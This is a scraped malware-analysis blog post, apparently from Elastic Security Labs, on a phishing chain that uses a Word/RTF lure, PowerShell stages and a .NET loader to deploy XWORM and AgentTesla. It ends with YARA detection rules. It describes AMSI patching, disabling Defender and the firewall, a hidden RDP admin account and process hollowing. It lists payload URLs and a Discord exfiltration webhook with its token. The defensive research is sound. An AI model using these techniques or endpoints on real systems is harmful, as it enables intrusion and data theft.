service](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image5.jpg)\n\n### User creation\n\nThe script creates a local administrator account named “System32” and adds it to the Remote Desktop Users group. This enables the attacker to log in via Remote Desktop Protocol (RDP). Next, the script disables the machine's firewall to allow inbound RDP connection attempts which aren’t filtered by edge controls.\n\n![Creating a backdoor user](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image9.jpg)\n\n### Malware update persistence\n\nThe third embedded script stores a secondary JScript file, whose purpose is downloading a revised or updated version of the malware. This file is saved to a predetermined location at `C:\\ProgramData\\MinMinons\\miguan.js`. Furthermore, a scheduled task with the name (“miguaned”) is created to execute the JScript file through `wscript.exe` , similar to the previously described task.\n\nThe JScript creates an instance of `WScript.Shell` object by calling ActiveXObject with the following CLSID `{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}` which corresponds to Shell Object, then downloads from the URL `https://billielishhui.blogspot[.]com/atom.xml` the update powershell malware.\n\n![JScript script used for updating the malware](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image4.jpg)\n\n### .NET loader\n\nThe custom DOTNET loader employs the [P/INVOKE technique](https://learn.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke) to call the native Windows API and inject a payload into a signed microsoft binary via [process hollowing](https://attack.mitre.org/techniques/T1055/012/).\n\nThe loader’s code employs various obfuscation techniques to hinder analysis, including the use of dead instruction, renamed symbols to make the code less readable and more confusion and encoded strings. Fortunately a tool like [de4dot](https://github.com/de4dot/de4dot) can be used to output a human-readable version of it.\n\n![.NET loader code obfuscation](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image12.jpg)\n\nThe malware leverages the `LoadLibrary` and `GetProcAddress` APIs to access the required Windows APIs. To obscure the names of these APIs, the loader stores them in an encoded format within the binary file, utilizing a sequence of substitution and string reversal methods.\n\n![.NET loader string obfuscation](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image3.jpg)\n\nThe loader then starts a process in a suspended state using `CreateProcessA` API. The following is the list of executables it uses as a host for it’s malicious code:\n\n- `C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe`\n- `C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\RegSvcs.exe`\n- `C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Msbuild.exe`\n\nThese binaries are signed and trusted by the system and can evade detection by security software that relies on whitelisting system processes. It then uses `Zwunmapviewofsection` to unmap the memory of the target process, writes the payload to the suspended process and then resume the thread using `ResumeThread` API.\n\n### Final payload\n\nDuring our research we discovered that the threat actor has been deploying different payloads. Namely, we observed 2 families: XWORM and AGENTTESLA.\n\nXWORM has gained notoriety in the underground criminal marketplace due to its ability to employ sophisticated capabilities like virtualization and sandbox detection, used to avoid detection and support persistence within an infected system.\n\nOf particular concern is the fact that XWORM is readily available on the internet as a cracked version, with version 2.1 being especially prevalent. This highlights the dangers of underground cybercrime markets and the ease with which malicious actors can access and utilize powerful tools.\n\nTwo different versions of the XWORM family were observed versions 2.2 and 3.1. The following is the configuration of a XWORM sample in plain text.\n\n![XWorm configuration](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image14.jpg)\n\nAGENTTESLA is a trojan and credential stealer written in .NET. While it first emerged in 2014, it is now among the most active and malicious software. AGENTTESLA is affordably priced and includes support from the developers, making it easily accessible to cybercriminals with limited technical skills.\n\nThe sample we analyzed was heavily obfuscated, masqueraded as an AVG installer,and leverages discord for C2. It uploads stolen information to the attacker’s Discord channel via the following webhook: `https://discord[.]com/api/webhooks/1089956337733087274/uYNA_D8Ns1z9NZ3B1mGp0XXyGq-785KLGIfEAZsrz3TJd5fvOjXA927F7bUTTzbNT6Zk`.\n\n![Agent Tesla masquerading as an AVG installer](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image6.jpg)\n\n![The discord webhook extracted dynamically](/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image7.png)\n\n## Observed adversary tactics and techniques\n\nElastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that threats use.\n\n## Tactics\n\nTactics represent the “why” of a technique or sub-technique. They represent the adversary’s tactical goals: the reason for performing an action.\n\n- [Initial access](https://attack.mitre.org/tactics/TA0001)\n- [Execution](https://attack.mitre.org/tactics/TA0002)\n- [Persistence](https://attack.mitre.org/tactics/TA0003)\n- [Command and control](https://attack.mitre.org/tactics/TA0011)\n- [Defense evasion](https://attack.mitre.org/tactics/TA0005)\n\n## Techniques/subtechniques\n\nTechniques and Subtechniques represent how an adversary achieves a tactical goal by performing an action.\n\n- [Process injection](https://attack.mitre.org/techniques/T1055/)\n- [Indicator removal: File deletion](https://attack.mitre.org/techniques/T1070/004/)\n- [Scheduled task/job: Scheduled task](https://attack.mitre.org/techniques/T1053/005/)\n- [User Execution: Malicious File](https://attack.mitre.org/techniques/T1204/002/)\n- [Phishing: Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001/)\n- [Command and Scripting Interpreter: Powershell](https://attack.mitre.org/techniques/T1059/003/)\n- [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027/)\n- [Impair Defenses: Disable or Modify Tools](https://attack.mitre.org/techniques/T1629/003/)\n- [Create Account](https://attack.mitre.org/techniques/T1136/)\n\n## Detection logic\n\n### YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify XWORM and [AGENTTESLA](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar) malware families.\n\n```\nrule Windows_Trojan_Xworm_732e6c12 {\nmeta:\n author = \"Elastic Security\"\n id = \"732e6c12-9ee0-4d04-a6e4-9eef874e2716\"\n fingerprint = \"afbef8e590105e16bbd87bd726f4a3391cd6a4489f7a4255ba78a3af761ad2f0\"\n creation_date = \"2023-04-03\"\n last_modified = \"2023-04-03\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Xworm\"\n threat_name = \"Windows.Trojan.Xworm\"\n source = \"Manual\"\n maturity = \"Diagnostic\"\n reference_sample = \"bf5ea8d5fd573abb86de0f27e64df194e7f9efbaadd5063dee8ff9c5c3baeaa2\"\n scan_type = \"File, Memory\"\n severity = 100\n\nstrings:\n $str1 = \"startsp\" ascii wide fullword\n $str2 = \"injRun\" ascii wide fullword\n $str3 = \"getinfo\" ascii wide fullword\n $str4 = \"Xinfo\" ascii wide fullword\n $str5 = \"openhide\" ascii wide fullword\n $str6 = \"WScript.Shell\" ascii wide fullword\n $str7 = \"hidefolderfile\" ascii wide fullword\ncondition:\n all of them}\n\nrule Windows_Trojan_AgentTesla_d3ac2b2f {\nmeta:\n author = \"Elastic Security\"\n id = \"d3ac2b2f-14fc-4851-8a57-41032e386aeb\"\n fingerprint = \"cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc\"\n creation_date = \"2021-03-22\"\n last_modified = \"2022-06-20\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"AgentTesla\"\n threat_name = \"Windows.Trojan.AgentTesla\"\n source = \"Manual\"\n maturity = \"Diagnostic, Production\"\n reference_sample = \"65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4\"\n scan_type = \"File, Memory\"\n severity = 100\n\nstrings:\n $a1 = \"GetMozillaFromLogins\" ascii fullword\n $a2 = \"AccountConfiguration+username\" wide fullword\n $a3 = \"MailAccountConfiguration\" ascii fullword\n $a4 = \"KillTorProcess\" ascii fullword\n $a5 = \"SmtpAccountConfiguration\" ascii fullword\n $a6 = \"GetMozillaFromSQLite\" ascii fullword\n```\n","code":"var Component=(()=\u003e{var h=Object.create;var s=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),w=(i,e)=\u003e{for(var a in e)s(i,a,{get:e[a],enumerable:!0})},o=(i,e,a,r)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let n of p(e))!g.call(i,n)\u0026\u0026n!==a\u0026\u0026s(i,n,{get:()=\u003ee[n],enumerable:!(r=m(e,n))||r.enumerable});return i};var b=(i,e,a)=\u003e(a=i!=null?h(u(i)):{},o(e||!i||!i.__esModule?s(a,\"default\",{value:i,enumerable:!0}):a,i)),y=i=\u003eo(s({},\"__esModule\",{value:!0}),i);var l=f((j,c)=\u003e{c.exports=_jsx_runtime});var A={};w(A,{default:()=\u003ek,frontmatter:()=\u003eT});var t=b(l()),T={title:\"Attack chain leads to XWORM and AGENTTESLA\",slug:\"attack-chain-leads-to-xworm-and-agenttesla\",date:\"2023-04-10\",description:\"Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate.\",author:[{slug:\"salim-bitam\"}],image:\"blog-thumb-coin-stacks.jpg\",category:[{slug:\"attack-pattern\"},{slug:\"malware-analysis\"}],tags:[\"xworm\",\"agenttesla\"]};function d(i){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",p:\"p\",h3:\"h3\",code:\"code\",img:\"img\",a:\"a\",pre:\"pre\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key Takeaways\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Threat actors are deploying known malware using their own custom .NET loaders\"}),`\n`,(0,t.jsx)(e.li,{children:\"The threat actors employ simple and well-known tactics such as bypassing AMSI through patching and a basic custom .NET loader\"}),`\n`,(0,t.jsx)(e.li,{children:\"The threat actors are abusing legitimate free file hosting services\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our team has recently observed a new malware campaign that employs a well-developed process with multiple stages. The campaign is designed to trick unsuspecting users into clicking on the documents, which appear to be legitimate, but are in fact fake, the adversary leverages weaponized word documents to execute malicious PowerShell scripts, and also utilizes a custom obfuscated .NET loader to load various malware strains, including XWORM and AGENTTESLA.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"rtf-loader-code-analysis\",children:\"RTF loader code analysis\"}),`\n`,(0,t.jsx)(e.h3,{id:\"overview\",children:\"Overview\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"During a recent investigation, we discovered a malicious word document named \",(0,t.jsx)(e.code,{children:\"Card \u0026 Booking Details.docx\"}),\". This document has been designed with the intent to deceive the victim and includes two falsified scanned documents, namely a credit card and a passport.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Upon opening the document, an RTF object hosted at \",(0,t.jsx)(e.code,{children:\"www.mediafire[.]com/file/79jzbqigitjp2v2/p2.rtf\"}),\" is fetched.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"This RTF object contains a macro-enabled Excel object. When opened, this macro downloads an obfuscated powerShell script which in turn deploys different malware families.\"}),`\n`,(0,t.jsx)(e.p,{children:\"At the time of this writing, we have observed two distinct malware families, namely XWORM and AGENTTESLA, have been deployed through this execution chain. Both malware families mentioned above are loaded into the compromised system's memory by the same custom .NET loader. Once loaded, the malicious payload can carry out a range of functions, such as stealing sensitive data and executing commands on the compromised system.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image8.png\",alt:\"Execution flow diagram\",width:\"1440\",height:\"705\"})}),`\n`,(0,t.jsx)(e.p,{children:\"In this research post, we will walk through the initial execution of the malware and detail the capabilities we discovered.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"extracting-the-malicious-vba\",children:\"Extracting the malicious VBA\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The RTF document contains multiple embedded objects, including an interesting one that caught our attention: \",(0,t.jsx)(e.code,{children:\"Excel.SheetMacroEnabled\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image1.jpg\",alt:\"Listing objects embedded in the RTF document\",width:\"1440\",height:\"80\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We can use \",(0,t.jsx)(e.a,{href:\"https://github.com/DidierStevens/DidierStevensSuite/blob/master/rtfdump.py\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"rtfdumpy.py\"})}),\", a script developed by Didier Stevens to analyze RTF files, to dump the object and \",(0,t.jsx)(e.a,{href:\"https://www.decalage.info/python/olevba\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"olevba.py\"})}),\", a script developed by Philippe Lagadec, to extract any embedded VBA scripts from an \",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Object_Linking_and_Embedding\",rel:\"nofollow\",children:\"OLE\"}),\" object. The extracted VBA script shown below downloads and executes a malicious powershell script from \",(0,t.jsx)(e.code,{children:\"https://www.mediafire[.]com/file/xnqxmqlcj51501d/7000m.txt/file\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image2.png\",alt:\"Extracting the VBA script from the Excel sheet object\",width:\"1440\",height:\"872\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"powershell-script-analysis\",children:\"Powershell script analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"The malicious PowerShell script is obfuscated using string substitution to evade detection and make analysis more difficult.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image13.png\",alt:\"Powershell script obfuscated using string substitution\",width:\"1440\",height:\"531\"})}),`\n`,(0,t.jsx)(e.p,{children:\"It contains additional powershell script blocks in hex format that will be deployed in the infected machine designed to prepare the environment by setting up persistence, bypassing AMSI, disabling Windows defender and creating a mechanism to update the malware. The ultimate objective is to install two .NET binaries, namely a loader and a payload (XWORM / AGENTTESLA).\"}),`\n`,(0,t.jsx)(e.h3,{id:\"deleting-the-malicious-document\",children:\"Deleting the malicious document\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware starts by deleting the original Word document, first killing the process \",(0,t.jsx)(e.code,{children:\"Winword.exe\"}),\" and then deleting all .DOCX files located in the default \",(0,t.jsx)(e.code,{children:\"Downloads\"}),\" and \",(0,t.jsx)(e.code,{children:\"Desktop\"}),\" folders of every user. This initial step shows the malware's destructive nature and how it can potentially harm the user's data.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image5.jpg\",alt:\"Powershell command to delete the malicious word document\",width:\"830\",height:\"194\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"persistence\",children:\"Persistence\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware creates a directory in the path \",(0,t.jsx)(e.code,{children:\"C:\\\\ProgramData\\\\MinMinons\"}),\" , which is used to store other Powershell scripts and binaries. The currently running Powershell script is then copied to \",(0,t.jsx)(e.code,{children:\"C:\\\\ProgramData\\\\MinMinons\\\\Candlegraphy.\\\\_\\\\_\\\\_\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Next, the malware deobfuscates the first embedded Powershell script which is used to create persistence. It first writes a JScript file that invokes the original Powershell script saved in \",(0,t.jsx)(e.code,{children:\"C:\\\\ProgramData\\\\MinMinons\\\\Candlegraphy.\\\\_\\\\_\\\\_\"}),\" through the activeXObject shell, then a scheduled task named \\u201CMOperaChrome\\u201D is created to run the JScript file using the Microsoft signed \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript\",rel:\"nofollow\",children:\"Windows Script Host (WSH) utility\"}),\", \",(0,t.jsx)(e.code,{children:\"wscript.exe\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image10.jpg\",alt:\"Persistence through task scheduling\",width:\"1132\",height:\"101\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"amsi-bypass\",children:\"AMSI bypass\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The second embedded powershell script is responsible for bypassing AMSI by patching the \",(0,t.jsx)(e.code,{children:\"amsiInitFailed\"}),\" flag. In doing so, the initialization of AMSI fails, leading to the prevention of any scan being initiated for the ongoing process. Furthermore, the PowerShell script proceeds to disable the Microsoft Windows Defender service.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image5.jpg\",alt:\"Disabling WinDefend service\",width:\"830\",height:\"194\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"user-creation\",children:\"User creation\"}),`\n`,(0,t.jsx)(e.p,{children:\"The script creates a local administrator account named \\u201CSystem32\\u201D and adds it to the Remote Desktop Users group. This enables the attacker to log in via Remote Desktop Protocol (RDP). Next, the script disables the machine's firewall to allow inbound RDP connection attempts which aren\\u2019t filtered by edge controls.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image9.jpg\",alt:\"Creating a backdoor user\",width:\"756\",height:\"182\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"malware-update-persistence\",children:\"Malware update persistence\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The third embedded script stores a secondary JScript file, whose purpose is downloading a revised or updated version of the malware. This file is saved to a predetermined location at \",(0,t.jsx)(e.code,{children:\"C:\\\\ProgramData\\\\MinMinons\\\\miguan.js\"}),\". Furthermore, a scheduled task with the name (\\u201Cmiguaned\\u201D) is created to execute the JScript file through \",(0,t.jsx)(e.code,{children:\"wscript.exe\"}),\" , similar to the previously described task.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The JScript creates an instance of \",(0,t.jsx)(e.code,{children:\"WScript.Shell\"}),\" object by calling ActiveXObject with the following CLSID \",(0,t.jsx)(e.code,{children:\"{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}\"}),\" which corresponds to Shell Object, then downloads from the URL \",(0,t.jsx)(e.code,{children:\"https://billielishhui.blogspot[.]com/atom.xml\"}),\" the update powershell malware.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image4.jpg\",alt:\"JScript script used for updating the malware\",width:\"1146\",height:\"136\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"net-loader\",children:\".NET loader\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The custom DOTNET loader employs the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke\",rel:\"nofollow\",children:\"P/INVOKE technique\"}),\" to call the native Windows API and inject a payload into a signed microsoft binary via \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/012/\",rel:\"nofollow\",children:\"process hollowing\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The loader\\u2019s code employs various obfuscation techniques to hinder analysis, including the use of dead instruction, renamed symbols to make the code less readable and more confusion and encoded strings. Fortunately a tool like \",(0,t.jsx)(e.a,{href:\"https://github.com/de4dot/de4dot\",rel:\"nofollow\",children:\"de4dot\"}),\" can be used to output a human-readable version of it.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image12.jpg\",alt:\".NET loader code obfuscation\",width:\"1239\",height:\"1009\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware leverages the \",(0,t.jsx)(e.code,{children:\"LoadLibrary\"}),\" and \",(0,t.jsx)(e.code,{children:\"GetProcAddress\"}),\" APIs to access the required Windows APIs. To obscure the names of these APIs, the loader stores them in an encoded format within the binary file, utilizing a sequence of substitution and string reversal methods.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image3.jpg\",alt:\".NET loader string obfuscation\",width:\"1440\",height:\"657\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The loader then starts a process in a suspended state using \",(0,t.jsx)(e.code,{children:\"CreateProcessA\"}),\" API. The following is the list of executables it uses as a host for it\\u2019s malicious code:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\RegSvcs.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\RegSvcs.exe\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v3.5\\\\Msbuild.exe\"})}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"These binaries are signed and trusted by the system and can evade detection by security software that relies on whitelisting system processes. It then uses \",(0,t.jsx)(e.code,{children:\"Zwunmapviewofsection\"}),\" to unmap the memory of the target process, writes the payload to the suspended process and then resume the thread using \",(0,t.jsx)(e.code,{children:\"ResumeThread\"}),\" API.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"final-payload\",children:\"Final payload\"}),`\n`,(0,t.jsx)(e.p,{children:\"During our research we discovered that the threat actor has been deploying different payloads. Namely, we observed 2 families: XWORM and AGENTTESLA.\"}),`\n`,(0,t.jsx)(e.p,{children:\"XWORM has gained notoriety in the underground criminal marketplace due to its ability to employ sophisticated capabilities like virtualization and sandbox detection, used to avoid detection and support persistence within an infected system.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Of particular concern is the fact that XWORM is readily available on the internet as a cracked version, with version 2.1 being especially prevalent. This highlights the dangers of underground cybercrime markets and the ease with which malicious actors can access and utilize powerful tools.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Two different versions of the XWORM family were observed versions 2.2 and 3.1. The following is the configuration of a XWORM sample in plain text.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image14.jpg\",alt:\"XWorm configuration\",width:\"1020\",height:\"727\"})}),`\n`,(0,t.jsx)(e.p,{children:\"AGENTTESLA is a trojan and credential stealer written in .NET. While it first emerged in 2014, it is now among the most active and malicious software. AGENTTESLA is affordably priced and includes support from the developers, making it easily accessible to cybercriminals with limited technical skills.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The sample we analyzed was heavily obfuscated, masqueraded as an AVG installer,and leverages discord for C2. It uploads stolen information to the attacker\\u2019s Discord channel via the following webhook: \",(0,t.jsx)(e.code,{children:\"https://discord[.]com/api/webhooks/1089956337733087274/uYNA_D8Ns1z9NZ3B1mGp0XXyGq-785KLGIfEAZsrz3TJd5fvOjXA927F7bUTTzbNT6Zk\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image6.jpg\",alt:\"Agent Tesla masquerading as an AVG installer\",width:\"740\",height:\"304\"})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/attack-chain-leads-to-xworm-and-agenttesla/image7.png\",alt:\"The discord webhook extracted dynamically\",width:\"1440\",height:\"281\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"observed-adversary-tactics-and-techniques\",children:\"Observed adversary tactics and techniques\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that threats use.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,t.jsx)(e.p,{children:\"Tactics represent the \\u201Cwhy\\u201D of a technique or sub-technique. They represent the adversary\\u2019s tactical goals: the reason for performing an action.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0001\",rel:\"nofollow\",children:\"Initial access\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002\",rel:\"nofollow\",children:\"Execution\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0003\",rel:\"nofollow\",children:\"Persistence\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011\",rel:\"nofollow\",children:\"Command and control\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005\",rel:\"nofollow\",children:\"Defense evasion\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"techniquessubtechniques\",children:\"Techniques/subtechniques\"}),`\n`,(0,t.jsx)(e.p,{children:\"Techniques and Subtechniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/\",rel:\"nofollow\",children:\"Process injection\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1070/004/\",rel:\"nofollow\",children:\"Indicator removal: File deletion\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1053/005/\",rel:\"nofollow\",children:\"Scheduled task/job: Scheduled task\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1204/002/\",rel:\"nofollow\",children:\"User Execution: Malicious File\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1566/001/\",rel:\"nofollow\",children:\"Phishing: Spearphishing Attachment\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059/003/\",rel:\"nofollow\",children:\"Command and Scripting Interpreter: Powershell\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/\",rel:\"nofollow\",children:\"Obfuscated Files or Information\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1629/003/\",rel:\"nofollow\",children:\"Impair Defenses: Disable or Modify Tools\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1136/\",rel:\"nofollow\",children:\"Create Account\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"detection-logic\",children:\"Detection logic\"}),`\n`,(0,t.jsx)(e.h3,{id:\"yara\",children:\"YARA\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify XWORM and \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar\",rel:\"nofollow\",children:\"AGENTTESLA\"}),\" malware families.\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`rule Windows_Trojan_Xworm_732e6c12 {\nmeta:\n author = \"Elastic Security\"\n id = \"732e6c12-9ee0-4d04-a6e4-9eef874e2716\"\n fingerprint = \"afbef8e590105e16bbd87bd726f4a3391cd6a4489f7a4255ba78a3af761ad2f0\"\n creation_date = \"2023-04-03\"\n last_modified = \"2023-04-03\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Xworm\"\n threat_name = \"Windows.Trojan.Xworm\"\n source = \"Manual\"\n maturity = \"Diagnostic\"\n reference_sample = \"bf5ea8d5fd573abb86de0f27e64df194e7f9efbaadd5063dee8ff9c5c3baeaa2\"\n scan_type = \"File, Memory\"\n severity = 100\n\nstrings:\n $str1 = \"startsp\" ascii wide fullword\n $str2 = \"injRun\" ascii wide fullword\n $str3 = \"getinfo\" ascii wide fullword\n $str4 = \"Xinfo\" ascii wide fullword\n $str5 = \"openhide\" ascii wide fullword\n $str6 = \"WScript.Shell\" ascii wide fullword\n $str7 = \"hidefolderfile\" ascii wide fullword\ncondition:\n all of them}\n\nrule Windows_Trojan_AgentTesla_d3ac2b2f {\nmeta:\n author = \"Elastic Security\"\n id = \"d3ac2b2f-14fc-4851-8a57-41032e386aeb\"\n fingerprint = \"cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc\"\n creation_date = \"2021-03-22\"\n last_modified = \"2022-06-20\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"AgentTesla\"\n threat_name = \"Windows.Trojan.AgentTesla\"\n source = \"Manual\"\n maturity = \"Diagnostic, Production\"\n reference_sample = \"65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4\"\n scan_type = \"File, Memory\"\n severity = 100\n\nstrings:\n $a1 = \"GetMozillaFromLogins\" ascii fullword\n $a2 = \"AccountConfiguration+username\" wide fullword\n $a3 = \"MailAccountConfiguration\" ascii fullword\n $a4 = \"KillTorProcess\" ascii fullword\n $a5 = 